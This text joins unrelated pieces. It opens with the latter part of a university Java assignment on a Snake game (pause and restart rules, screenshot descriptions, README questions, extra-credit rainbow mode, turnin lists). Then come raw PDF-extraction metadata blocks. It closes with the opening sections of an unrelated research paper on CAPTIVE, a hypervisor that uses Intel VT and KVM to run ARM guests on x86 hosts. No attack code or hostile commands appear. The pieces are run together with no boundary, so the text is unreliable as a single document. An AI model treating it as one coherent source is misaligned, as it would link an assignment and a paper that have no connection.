Pressing the spacebar should toggle between paused and unpaused. While the game is paused, display the “Paused” popup message. Once the game is over (either because of a win or a loss), the snake should stop moving. The appropriate popup message should be displayed (either “You Win!” or “Game Over”), along with the instructions on how to restart the game. Every time the game ends, update the “Most Fruit Loops Eaten” label. You should only be able to restart the game (by pressing the ‘r’ key) when the game is over. Pressing ‘r’ while the game is running should have no effect. Pressing the spacebar once the game is over should have no effect.
When displaying the “You Win!” or “Game Over” text (in a popup message), offset the text up by `TEXT_Y_OFFSET`. When displaying the restart instructions (in a popup message), offset the text down by `TEXT_Y_OFFSET`.
### Sample Screenshots
Note that some of the grid lines in the screenshots below may appear to be slightly transparent and/or have different widths. This is purely an effect from taking screenshots and then shrinking them down so they don’t take up a million more pages than they already do. When you run your program, all of your grid lines should appear uniform.
You may also notice that when you run the program on different operating systems, the window size differs slightly. This is normal and you do not need to worry about this as long as your program matches what the screenshots below show:
On a lab computer. The grid fits perfectly in the window vertically, but horizontally there is about 5px of white space to the right of the grid.
On a Windows laptop, running locally. Notice there is about 5px of white space below the grid, but there is no white space to the right of the grid.
On a Windows laptop, running through SSH into ieng6. Notice how just like running locally, there is white space below the grid but no white space to the right of the grid.
On a **Mac laptop, running locally**. There is about 5px of white space below the grid, but there is no white space to the right of the grid.
On a **Mac Laptop, running through SSH** into ieng6. There is about 5px of white space below the grid, but there is no white space to the right of the grid.
Note that sometimes when you run the program, the window size will not be the size that you specified (the window is much wider than it should be). You do not need to worry about this case. If this happens, just re-run your program until it has the expected window size. This tends to happen most often when running locally on a Mac (which is where this screenshot was taken).
See [post @866 on piazza](https://piazza.com) for an explanation of why this happens if you’re curious.
The following screenshots are taken on a **lab computer** to show you what the final game should look like:
On startup, Snake and fruit loop are placed in random GridCells.
After pressing left arrow key, snake has moved one GridCell left.
Snake continues to move left.
After pressing right arrow key, the snake is now travelling in the opposite direction (it is able to do this since it doesn’t have a body yet).
Snake continues to move right.
After pressing the up arrow key.
Snake continues to move up.
After pressing the left arrow key, snake is traveling left and about to eat the first fruit loop.
The snake eats the fruit loop and has grown a new segment. The “Fruit Loops Eaten” label is updated. A new fruit loop is placed.
Snake keeps moving left.
Snake is about to eat another fruit loop.
The snake eats the fruit loop and has grown another new segment. The “Fruit Loops Eaten” label is updated. A new fruit loop is placed.
Snake after eating 2 more fruit loops.
Note that when the snake turns, not all the SnakeSegments will be moving in the same direction; they are simply following each other.
After pressing spacebar to pause the snake.
Pressing arrow keys while paused does not affect the direction of the snake. After pressing spacebar again to unpause, the snake continues moving in the direction it was moving before pausing.
After eating 3 more fruit loops. Snake is about to eat the last fruit loop.
Snake eats the last fruit loop and grows a new segment. The win message shows up and the snake stops moving. The "Most Fruit Loops Eaten" label is updated.
After pressing 'r' to restart the game. The snake is in a new random position and is stationary.
After restarting the program with a new number of loopsToWin. Snake after eating 9 fruit loops.
Snake is moving right and is about to run into itself.
Snake ran into itself and the game is lost. The “Most Fruit Loops Eaten” label is updated.
After pressing ‘r’ to restart and eating 4 fruit loops.
Snake is heading left towards the edge of the grid.
Snake is about to run into the wall.
Snake ran into a wall and the game is lost.
Running the game with a very small grid can help with testing some edge cases. On a small grid, note that the popup messages will be larger than the window size, and the labels at the top will not be fully visible. This is fine and expected behavior.
**README File**
Remember to follow all of the guidelines outlined in the [README Guidelines](#). If you did the extra credit, write a program description for it in the README file as well.
**Questions to Answer in your README:**
1. Why do the helper methods used for parsing command line arguments need to be static methods?
2. Describe the relationship between the GridCell, Grid, and FruitLoop classes.
3. How can you run vim through the command line to open all Java source code files in the current directory, each file in its own tab?
4. Suppose you are currently inside a directory and in there you want to make a new directory called fooDir. And inside fooDir, you want another directory called barDir. Using only a single mkdir command, how can you create a directory called fooDir with a directory called barDir inside it?
5. What are some of the consequences of not acting with academic integrity?
Extra Credit: Rainbow Bonus Mode
- **[5 Points]** After the game is won, allow the user to keep playing in rainbow bonus mode
**Getting Started:**
Make copies of the following files to do the extra credit in.
```bash
$ cd ~/pa8
$ cp FruitLoop.java EC_FruitLoop.java
$ cp Grid.java EC_Grid.java
$ cp GridCell.java EC_GridCell.java
$ cp Snake.java EC_Snake.java
$ cp SnakeGame.java EC_SnakeGame.java
$ cp SnakeSegment.java EC_SnakeSegment.java
```
Make sure you change all instances of FruitLoop, Grid, GridCell, Snake, SnakeGame, and SnakeSegment to their respective EC versions so your code can compile and run correctly.
**Important:** Your original files must remain unchanged. You need both the regular and the EC versions of these files for turnin.
**EC Requirements:**
In the original version of SnakeGame, once the snake eats the number of loopsToWin, the game is won and the snake stops moving. In the EC version, rather than stopping the game and announcing that the game is won, let the user keep playing in rainbow bonus mode.
**Rainbow Bonus Mode:**
- Everytime the snake eats a fruit loop, set the color of the new snake segment to be the color of the fruit loop it just ate.
- After winning the game, let the snake keep eating fruit loops until the grid is full, the snake runs into itself, or the snake runs into a wall; then announce the win.
**Sample Screenshots:**
After eating 2 fruit loops. At this point, the behavior should be exactly the same as the regular version of the program.
Snake is about to eat the last fruit loop to win.
Snake eats the last fruit loop and grows a new segment as normal. The win message is not displayed. The "Most Fruit Loops Eaten" label is not updated. A new fruit loop appears.
The snake keeps moving after eating the last fruit loop to win, and is now in rainbow bonus mode.
Snake is about to eat a fruit loop.
Snake eats the fruit loop and grows a new segment that is the color of the fruit loop it ate.
After eating a lot more fruit loops.
After "losing", the win message is displayed and the "Most Fruit Loops Eaten" label is updated.
See the turnin instructions [here](#). Your file names must match the below *exactly*.
**Due Date:** Wednesday night, November 21 @ 11:59 pm
**Files Required for Turnin:**
<table>
<thead>
<tr>
<th>File</th>
<th>File</th>
<th>File</th>
</tr>
</thead>
<tbody>
<tr>
<td>Direction.java</td>
<td>PopupMessage.java</td>
<td>Acme.jar</td>
</tr>
<tr>
<td>FruitLoop.java</td>
<td>Snake.java</td>
<td>objectdraw.jar</td>
</tr>
<tr>
<td>Grid.java</td>
<td>SnakeGame.java</td>
<td>README</td>
</tr>
<tr>
<td>GridCell.java</td>
<td>SnakeSegment.java</td>
<td></td>
</tr>
<tr>
<td>PA8Constants.java</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
**Extra Credit Files:**
<table>
<thead>
<tr>
<th>File</th>
<th>File</th>
<th>File</th>
</tr>
</thead>
<tbody>
<tr>
<td>EC_FruitLoop.java</td>
<td>EC_GridCell.java</td>
<td>EC_SnakeGame.java</td>
</tr>
<tr>
<td>EC_Grid.java</td>
<td>EC_Snake.java</td>
<td>EC_SnakeSegment.java</td>
</tr>
</tbody>
</table>
If there is anything in these procedures which needs clarifying, please feel free to ask any tutor, the instructor, or post on the Piazza Discussion Board.
**NO EXCUSES!**
**NO EXTENSIONS!**
**NO EXCEPTIONS!**
**NO LATE ASSIGNMENTS ACCEPTED!**
**DO NOT EMAIL US YOUR ASSIGNMENT!**
**Start Early, Finish Early, and Have Fun!**
|
{"Source-Url": "http://cseweb.ucsd.edu/~ricko/CSE11/PA8.pdf", "len_cl100k_base": 9945, "olmocr-version": "0.1.53", "pdf-total-pages": 25, "total-fallback-pages": 0, "total-input-tokens": 48030, "total-output-tokens": 10734, "length": "2e13", "weborganizer": {"__label__adult": 0.0008373260498046875, "__label__art_design": 0.0004940032958984375, "__label__crime_law": 0.0005884170532226562, "__label__education_jobs": 0.0128021240234375, "__label__entertainment": 0.0001983642578125, "__label__fashion_beauty": 0.0003991127014160156, "__label__finance_business": 0.00030994415283203125, "__label__food_dining": 0.0010213851928710938, "__label__games": 0.0079803466796875, "__label__hardware": 0.0013647079467773438, "__label__health": 0.00047850608825683594, "__label__history": 0.0004949569702148438, "__label__home_hobbies": 0.0002772808074951172, "__label__industrial": 0.0006880760192871094, "__label__literature": 0.0005555152893066406, "__label__politics": 0.0004343986511230469, "__label__religion": 0.0008530616760253906, "__label__science_tech": 0.0037174224853515625, "__label__social_life": 0.0002753734588623047, "__label__software": 0.004955291748046875, "__label__software_dev": 0.958984375, "__label__sports_fitness": 0.0009007453918457032, "__label__transportation": 0.0009183883666992188, "__label__travel": 0.0004808902740478515}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 42626, 0.00874]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 42626, 0.46719]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 42626, 0.89794]], "google_gemma-3-12b-it_contains_pii": [[0, 2084, false], [2084, 4591, null], [4591, 8186, null], [8186, 11362, null], [11362, 12906, null], [12906, 15855, null], [15855, 19439, null], [19439, 22805, null], [22805, 26242, null], [26242, 29152, null], [29152, 32151, null], [32151, 34502, null], [34502, 34971, null], [34971, 35754, null], [35754, 36171, null], [36171, 36364, null], [36364, 36698, null], [36698, 37111, null], [37111, 37539, null], [37539, 37796, null], [37796, 39042, null], [39042, 40431, null], [40431, 40881, null], [40881, 41147, null], [41147, 42626, null]], "google_gemma-3-12b-it_is_public_document": [[0, 2084, true], [2084, 4591, null], [4591, 8186, null], [8186, 11362, null], [11362, 12906, null], [12906, 15855, null], [15855, 19439, null], [19439, 22805, null], [22805, 26242, null], [26242, 29152, null], [29152, 32151, null], [32151, 34502, null], [34502, 34971, null], [34971, 35754, null], [35754, 36171, null], [36171, 36364, null], [36364, 36698, null], [36698, 37111, null], [37111, 37539, null], [37539, 37796, null], [37796, 39042, null], [39042, 40431, null], [40431, 40881, null], [40881, 41147, null], [41147, 42626, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, false], [5000, 42626, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 42626, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 42626, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 42626, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, true], [5000, 42626, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 42626, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 42626, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 42626, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 42626, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 42626, null]], "pdf_page_numbers": [[0, 2084, 1], [2084, 4591, 2], [4591, 8186, 3], [8186, 11362, 4], [11362, 12906, 5], [12906, 15855, 6], [15855, 19439, 7], [19439, 22805, 8], [22805, 26242, 9], [26242, 29152, 10], [29152, 32151, 11], [32151, 34502, 12], [34502, 34971, 13], [34971, 35754, 14], [35754, 36171, 15], [36171, 36364, 16], [36364, 36698, 17], [36698, 37111, 18], [37111, 37539, 19], [37539, 37796, 20], [37796, 39042, 21], [39042, 40431, 22], [40431, 40881, 23], [40881, 41147, 24], [41147, 42626, 25]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 42626, 0.12722]]}
|
olmocr_science_pdfs
|
2024-12-11
|
2024-12-11
|
a33e7770e45f102644c8c704deb614128c083f29
|
[REMOVED]
|
{"len_cl100k_base": 13627, "olmocr-version": "0.1.49", "pdf-total-pages": 14, "total-fallback-pages": 0, "total-input-tokens": 55627, "total-output-tokens": 15471, "length": "2e13", "weborganizer": {"__label__adult": 0.0004024505615234375, "__label__art_design": 0.0010528564453125, "__label__crime_law": 0.0004725456237792969, "__label__education_jobs": 0.004116058349609375, "__label__entertainment": 0.00021028518676757812, "__label__fashion_beauty": 0.00030040740966796875, "__label__finance_business": 0.0010099411010742188, "__label__food_dining": 0.0004930496215820312, "__label__games": 0.0009293556213378906, "__label__hardware": 0.0013141632080078125, "__label__health": 0.0006532669067382812, "__label__history": 0.0007991790771484375, "__label__home_hobbies": 0.0001888275146484375, "__label__industrial": 0.0007576942443847656, "__label__literature": 0.0007271766662597656, "__label__politics": 0.0003833770751953125, "__label__religion": 0.0006265640258789062, "__label__science_tech": 0.287841796875, "__label__social_life": 0.0002300739288330078, "__label__software": 0.07989501953125, "__label__software_dev": 0.61669921875, "__label__sports_fitness": 0.0002529621124267578, "__label__transportation": 0.0005888938903808594, "__label__travel": 0.0002834796905517578}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 63333, 0.02629]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 63333, 0.47616]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 63333, 0.86628]], "google_gemma-3-12b-it_contains_pii": [[0, 5405, false], [5405, 11897, null], [11897, 15296, null], [15296, 19289, null], [19289, 25460, null], [25460, 31324, null], [31324, 37503, null], [37503, 42864, null], [42864, 45662, null], [45662, 51963, null], [51963, 56910, null], [56910, 59955, null], [59955, 59955, null], [59955, 63333, null]], "google_gemma-3-12b-it_is_public_document": [[0, 5405, true], [5405, 11897, null], [11897, 15296, null], [15296, 19289, null], [19289, 25460, null], [25460, 31324, null], [31324, 37503, null], [37503, 42864, null], [42864, 45662, null], [45662, 51963, null], [51963, 56910, null], [56910, 59955, null], [59955, 59955, null], [59955, 63333, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 63333, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 63333, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 63333, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 63333, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 63333, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 63333, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 63333, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 63333, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 63333, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 63333, null]], "pdf_page_numbers": [[0, 5405, 1], [5405, 11897, 2], [11897, 15296, 3], [15296, 19289, 4], [19289, 25460, 5], [25460, 31324, 6], [31324, 37503, 7], [37503, 42864, 8], [42864, 45662, 9], [45662, 51963, 10], [51963, 56910, 11], [56910, 59955, 12], [59955, 59955, 13], [59955, 63333, 14]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 63333, 0.11765]]}
|
olmocr_science_pdfs
|
2024-11-24
|
2024-11-24
|
1c099922eba081a7d5f139ad6ef162ac4f9f2cab
|
[REMOVED]
|
{"len_cl100k_base": 14356, "olmocr-version": "0.1.53", "pdf-total-pages": 15, "total-fallback-pages": 0, "total-input-tokens": 36585, "total-output-tokens": 16457, "length": "2e13", "weborganizer": {"__label__adult": 0.0005006790161132812, "__label__art_design": 0.0005741119384765625, "__label__crime_law": 0.0004138946533203125, "__label__education_jobs": 0.0009441375732421876, "__label__entertainment": 0.00011807680130004884, "__label__fashion_beauty": 0.00023186206817626953, "__label__finance_business": 0.0004181861877441406, "__label__food_dining": 0.0006780624389648438, "__label__games": 0.0007653236389160156, "__label__hardware": 0.0008702278137207031, "__label__health": 0.0008292198181152344, "__label__history": 0.0004191398620605469, "__label__home_hobbies": 0.00012993812561035156, "__label__industrial": 0.0006794929504394531, "__label__literature": 0.0010023117065429688, "__label__politics": 0.0004515647888183594, "__label__religion": 0.0008111000061035156, "__label__science_tech": 0.06402587890625, "__label__social_life": 0.0001424551010131836, "__label__software": 0.00525665283203125, "__label__software_dev": 0.91943359375, "__label__sports_fitness": 0.00035881996154785156, "__label__transportation": 0.0008544921875, "__label__travel": 0.0002605915069580078}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 47407, 0.01732]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 47407, 0.56671]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 47407, 0.7926]], "google_gemma-3-12b-it_contains_pii": [[0, 3023, false], [3023, 6745, null], [6745, 9672, null], [9672, 11704, null], [11704, 14746, null], [14746, 18076, null], [18076, 20838, null], [20838, 24744, null], [24744, 27582, null], [27582, 31327, null], [31327, 35161, null], [35161, 37881, null], [37881, 40460, null], [40460, 43916, null], [43916, 47407, null]], "google_gemma-3-12b-it_is_public_document": [[0, 3023, true], [3023, 6745, null], [6745, 9672, null], [9672, 11704, null], [11704, 14746, null], [14746, 18076, null], [18076, 20838, null], [20838, 24744, null], [24744, 27582, null], [27582, 31327, null], [31327, 35161, null], [35161, 37881, null], [37881, 40460, null], [40460, 43916, null], [43916, 47407, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 47407, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 47407, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 47407, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 47407, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 47407, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 47407, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 47407, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 47407, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 47407, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 47407, null]], "pdf_page_numbers": [[0, 3023, 1], [3023, 6745, 2], [6745, 9672, 3], [9672, 11704, 4], [11704, 14746, 5], [14746, 18076, 6], [18076, 20838, 7], [20838, 24744, 8], [24744, 27582, 9], [27582, 31327, 10], [31327, 35161, 11], [35161, 37881, 12], [37881, 40460, 13], [40460, 43916, 14], [43916, 47407, 15]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 47407, 0.0]]}
|
olmocr_science_pdfs
|
2024-12-07
|
2024-12-07
|
7197a7f076034bfa8abe064bfa4bcdec094a2f40
|
Hardware Accelerated Cross-Architecture Full-System Virtualization
Citation for published version:
Digital Object Identifier (DOI):
10.1145/2996798
Link:
Link to publication record in Edinburgh Research Explorer
Document Version:
Peer reviewed version
Published In:
ACM Transactions on Architecture and Code Optimization
General rights
Copyright for the publications made accessible via the Edinburgh Research Explorer is retained by the author(s) and / or other copyright owners and it is a condition of accessing these publications that users recognise and abide by the legal requirements associated with these rights.
Take down policy
The University of Edinburgh has made every reasonable effort to ensure that Edinburgh Research Explorer content complies with UK legislation. If you believe that the public display of this file breaches copyright please contact openaccess@ed.ac.uk providing details, and we will remove access to the work immediately and investigate your claim.
Hardware Accelerated Cross-Architecture Full-System Virtualization
Tom Spink, Harry Wagstaff & Björn Franke, University of Edinburgh, UK
Hardware virtualization solutions provide users with benefits ranging from application isolation through server consolidation to improved disaster recovery and faster server provisioning. While hardware assistance for virtualization is supported by all major processor architectures, including Intel, ARM, PowerPC & MIPS, these extensions are targeted at virtualization of the same architecture, e.g. an x86 guest on an x86 host system. Existing techniques for cross-architecture virtualization, e.g. an ARM guest on an x86 host, still incur a substantial overhead for CPU, memory and I/O virtualization due to the necessity for software emulation of these mismatched system components. In this article we present a new hardware accelerated hypervisor called CAPTIVE, employing a range of novel techniques, which exploit existing hardware virtualization extensions for improving the performance of full-system cross-platform virtualization.
We illustrate how (1) guest MMU events and operations can be mapped onto host memory virtualization extensions, eliminating the need for costly software MMU emulation, (2) a block-based DBT engine inside the virtual machine can improve CPU virtualization performance, (3) memory mapped guest I/O can be efficiently translated to fast I/O specific calls to emulated devices, and (4) the cost for asynchronous guest interrupts can be reduced. For an ARM-based Linux guest system running on an x86 host with Intel VT support we demonstrate application performance levels, based on SPEC CPU2006 benchmarks, of up to 5.88× over state-of-the-art QEMU and 2.5× on average, achieving a guest dynamic instruction throughput of up to 1280 MIPS and 915.52 MIPS, on average.
CCS Concepts:
Computing methodologies → Simulation tools;
Hardware → Simulation and emulation;
Additional Key Words and Phrases: Virtualization
1. INTRODUCTION
Virtualization technology enables workload consolidation where multiple applications are deployed onto Virtual Machines (VMs), which then run on a single, more-powerful host machine. While virtualization may introduce some runtime overhead, processor manufacturers have developed support in hardware in the form of instruction set extensions (ISEs) to make their respective architectures efficiently and fully virtualizable, e.g. Intel VT or ARM Virtualization Extensions. They have also created additional mechanisms to allow I/O virtualization with less software overhead.
However, these virtualization extensions are geared towards same-architecture virtualization, where both the guest VM and the physical host machine share the same architecture. For cross-architecture virtualization, where guest VM and host architectures are different, translation between ISAs, emulation of the guest system’s memory management unit (MMU), interrupt handling and I/O devices are typically implemented entirely in software, resulting in a substantial performance loss. For example, in full-system mode the gem5 architectural simulator [Binkert et al. 2011] takes about 30 minutes to boot into Linux on a current, mid-range host machine. While this performance level is sufficient for some computer architecture research, it is far too slow for any practical applications. QEMU [Bellard 2005], a popular cross-architecture full-system virtualizer using dynamic binary translation (DBT), is substantially faster, but
New Paper, Not an Extension of a Conference Paper
still suffers an up to $20 \times$ slow-down [Jones and Topham 2009] compared to native execution on the host.\textsuperscript{1}
While same-architecture virtualization has become ubiquitous there are fewer, but nonetheless important applications for cross-architecture virtualization, e.g. Android software development using the QEMU-based Android Emulator shipped with the Android Studio [Gerber and Craig 2015], which provides a full-system ARM environment for software developers using an x86 host machine; building ARM Docker [Merkel 2014] containers on x86 machines; providing fast-forwarding in sampling based simulators [Sandberg et al. 2015]; or early-stage software development without a hardware target [Ceng et al. 2009]. All of these applications critically depend on fast cross-architecture virtualization due to unavailability or deliberate absence of a hardware platform supporting the chosen target ISA.
In this article, we develop a novel approach for speeding up cross-architecture virtualization, and implement these ideas in a new cross-architecture hypervisor called \textsc{Captive}. The key idea is to eliminate performance bottlenecks by exploiting the existing virtualization hardware extensions originally devised for same-architecture virtualization. We target four distinct cross-architecture virtualization challenges and make the following contributions:
1. We show how virtual-to-physical address translation can be accelerated through the use of virtualization extensions, by mapping behavior of the guest MMU onto corresponding behavior of the host MMU – despite substantial differences between the two MMUs.
2. We present a DBT system for the translation from the guest to host ISA, where a fast, block-based just-in-time (JIT) compiler that lives inside the native virtual machine compiles guest basic blocks to host native code.
3. We develop an efficient mechanism to emulate the guest’s memory mapped I/O devices, by exploiting the MMU to detect device accesses.
4. Finally, we devise an interrupt handling scheme, which correctly honors the guest’s instruction boundaries, even if one guest instruction is mapped onto several host instructions, thus implementing precise, yet efficient guest interrupts.
1.1. Motivating Example
It has been well established [Magnusson and Werner 1994; Chang et al. 2014; Wang et al. 2015; Hong et al. 2015] that emulation of a guest MMU is one of the most time-consuming parts of cross-architecture virtualization, therefore in this motivating example, we will focus on the memory address translation process required for virtualization. For this, consider the diagram in Figure 1, which shows the percentage of memory operations w.r.t. the total number of executed instructions in the SPEC CPU2006 integer benchmarks. About 50\% of the instructions in these benchmarks perform memory accesses. This means if we are running these benchmarks in a virtualized ARM guest environment on an x86 host, on average, every other instruction demands an expensive virtual-to-physical memory translation using a virtualized ARM MMU, typically implemented in software. If we succeed in speeding up these address translations we will eliminate one of the most severe cross-architecture virtualization performance bottlenecks.
In a 32-bit ARMv7-A system with an ARMv7-A MMU, there are at most two levels of page tables representing a virtual memory area. To translate a virtual address into its corresponding physical address, the first-level page table (an L1 page table), pointed
\textsuperscript{1}Native execution of a binary suitably compiled to the host ISA from the same sources, which have been used to build the binary for the guest’s ISA.
Hardware Accelerated Cross-Architecture Full-System Virtualization
Fig. 1: Distribution of operations in the SPEC CPU2006 integer benchmarks. On average, around 50% of all instructions executed perform memory operations (either read, write, or both), which require expensive virtual-to-physical address translation using a software MMU.
to by the TTBR register, is indexed by bits 20–31 of the virtual address and the entry interrogated to determine if the mapping is to a section (a 1MB contiguous chunk of memory) or a small page (a 4kB contiguous chunk of memory). If the page table entry indicates a section, then the base address points to the physical base address of the memory. If the page table entry indicates a small page, then the base address points to the physical base address of a second-level page table (an L2 page table). The L2 page table is indexed by bits 12–19 of the virtual address, and the base address in the L2 page table entry points to the physical base address of the page corresponding to the mapping. A page table entry in the L1 (if pointing to a section) or L2 page table in addition to the base address pointer contains flags that indicate the access permissions of the page, e.g. whether or not the page is readable and writable, and if it is accessible whilst executing in the user privilege level.
In a 64-bit x86 system, there are four levels of page tables that represent a 48-bit virtual address space. Pointers are always 64-bit wide, but can only access 48-bits of virtual address space. Virtual addresses must be in canonical form, where bits 48–63 of the address are copies of bit 47. Any memory access to a non-canonical address will result in a general protection fault. Address translation operates in a similar fashion to ARM, with each level of page table being traversed to translate a 64-bit virtual address into a 64-bit physical address, subject to permissions which can be applied at any level of the page table—the higher level permissions taking precedence over the lower levels.
To avoid a costly page table walk for every memory access, both architectures employ a translation lookaside buffer (TLB), which caches the result of a previous hardware translation. If the page tables are modified, or the pointer to the top-level page table changed, the TLB must be flushed.
From this description it should be clear that the structure of the ARM and x86 MMUs are substantially different, yet fundamentally they both provide a mechanism for the translation of virtual addresses to physical addresses with access permission checking. In this article we propose to exploit this hardware address translation capability, and show how to map the behavior of an ARM MMU onto a virtualized Intel MMU. By intercepting ARM TLB invalidations and maintaining entries in the x86 page table that represent entries in the ARM page table, we can accelerate address translations. Instead of using a slow software implementation of the ARM MMU, guest address translations are redirected to the fast, host virtualized Intel MMU, which our system keeps consistent with the guest’s ARMv7-A MMU. Using existing extensions originally devised for same-architecture virtualization we are able to speed up critical cross-architecture address translations over a purely software-based MMU implementation.
1.2. Overview
The remainder of this article is structured as follows. In Section 2 we provide background information on MMU virtualization in full-system simulators, Intel virtualization technology (Intel VT) and the kernel-based virtual machine (KVM) framework, on which our work relies. We then present our novel cross-architecture virtualization techniques in Section 3 and our results in Section 4. We discuss related work in Section 5, before we summarize and conclude in Section 6.
2. BACKGROUND
While this article is largely self-contained we assume a certain level of familiarity with the Intel VT extensions and also KVM. In this section we briefly introduce these technologies before describing our virtualization infrastructure in the next section.
2.1. Intel VT
Intel VT [Intel 2016] is a set of hardware extensions introduced by Intel to provide support for virtualization of an x86 processor. It provides new instructions for setting up and managing these virtual machines, transitioning between hypervisor and virtualized execution, and support for virtualizing the guest MMU with extended page tables (EPT). EPT provides an extra level of page tables that are walked by hardware when a virtual memory address that is not present in the TLB is encountered whilst running in the virtual machine. CAPTIVE utilizes Intel VT extensions by creating a virtual machine with the KVM infrastructure provided by the Linux kernel.
2.2. KVM
Hardware accelerated virtualization is well supported by multiple processor vendors, such as Intel with Intel VT and AMD with AMD-V. Whilst these extensions produce the same effect, i.e. they create an abstract computing platform on which to run unmodified operating systems, they are implemented and accessed completely differently. KVM [KVM 2016] is a virtual machine monitor implemented as part of the Linux kernel, which can utilize any supported hardware virtualization, on any platform. Its job is to abstract the details of the virtualization extensions, and to provide a generic interface for creating and managing a virtualization environment. KVM fully supports virtualization extensions such as Intel EPT or AMD RVI, which is used to accelerate a virtualized MMU. KVM itself is only an interface to hardware virtualization extensions, it will not work in the absence of these.
KVM was developed in tandem with QEMU, but does not depend on QEMU—it is an independent technology that is part of the standard Linux kernel.
In CAPTIVE, we utilize KVM to create a virtual machine backed by Intel VT or AMD-V in a platform-agnostic way. The use of KVM, and consequently the use of Intel VT is described in more detail in Section 3.1.
3. VIRTUALIZATION INFRASTRUCTURE
Our virtualization infrastructure consists of three main components:
(1) A hypervisor component, which runs on the host machine and uses KVM to control the host's hardware virtualization extensions.
(2) An execution engine component, which runs inside a normal virtual machine on the host.
(3) An architectural implementation, which defines the behavior of the architecture being virtualized.
Fig. 2: A high-level overview of the virtualization infrastructure. The CAPTIVE hypervisor runs in the operating system (Linux) of the host machine, and creates a virtual machine that is the same architecture as the host (x86). Inside this virtual machine, the CAPTIVE execution engine virtualises a guest platform (ARMv7) by mapping the behaviour of the guest, to the behaviour of the host.
For the rest of this article, we will be assuming that we are virtualizing an ARMv7-A guest architecture (modelling a RealView Platform Baseboard for Cortex-A8 [ARM 2011b]), on a standard x86-64 host machine with Intel VT virtualization extensions.
Due to the multi-layer nature of this system, it is important to define some terminology at this point to establish exactly what terms will describe what aspects of the system.
Definition 3.1 (Host). The host machine is the system on which we will be running the virtualized platform. This article will use an x86-64 machine as the host machine.
Definition 3.2 (Guest). The guest machine is the target platform that we wish to virtualize. This article will use an ARMv7-A platform as the guest machine.
Definition 3.3 (Native Virtual Machine (VM)). The hardware extensions provided by the host machine naturally provide a same-architecture virtual machine, e.g. using QEMU with KVM on x86 would result in an x86 virtual machine. In our case, the Native Virtual Machine (VM) refers to the virtual machine provided by these hardware extensions, to which we utilize in our infrastructure. Therefore, in this article, the Native VM is of the same architecture (x86-64) as the host.
Definition 3.4 (Hypervisor). The hypervisor is the software which runs on the host machine (within the host operating system), and is responsible for providing support to the Native VM, along with software implementations of guest platform devices (e.g. a timer device, or an interrupt controller).
Definition 3.5 (Execution Engine). The execution engine is a bare-metal application that runs inside the Native VM (without an operating system) and provides the CPU virtualization necessary to run the cross-ISA guest instructions. It maintains the state of the guest platform being emulated, and executes platform specific behavior, such as what happens when an MMU fault occurs or an external interrupt is signalled.
3.1. Overview
This section will give an overview of the operation of CAPTIVE. It will continue to use the example of an x86-64 host machine, and an ARMv7-A guest machine, implementing
